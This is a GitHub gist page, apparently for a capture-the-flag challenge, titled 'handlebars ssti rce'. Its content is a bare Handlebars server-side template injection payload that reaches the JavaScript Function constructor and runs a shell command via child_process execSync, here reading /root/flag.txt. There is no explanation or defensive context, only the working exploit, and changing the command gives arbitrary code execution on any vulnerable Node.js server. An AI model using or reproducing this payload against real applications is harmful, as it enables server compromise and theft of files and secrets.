Skip to content

Instantly share code, notes, and snippets.

@laztname
Created June 2, 2022 04:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save laztname/cccacb1967d15b92ba624f0874909b4c to your computer and use it in GitHub Desktop.
Save laztname/cccacb1967d15b92ba624f0874909b4c to your computer and use it in GitHub Desktop.
handlebars ssti rce
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment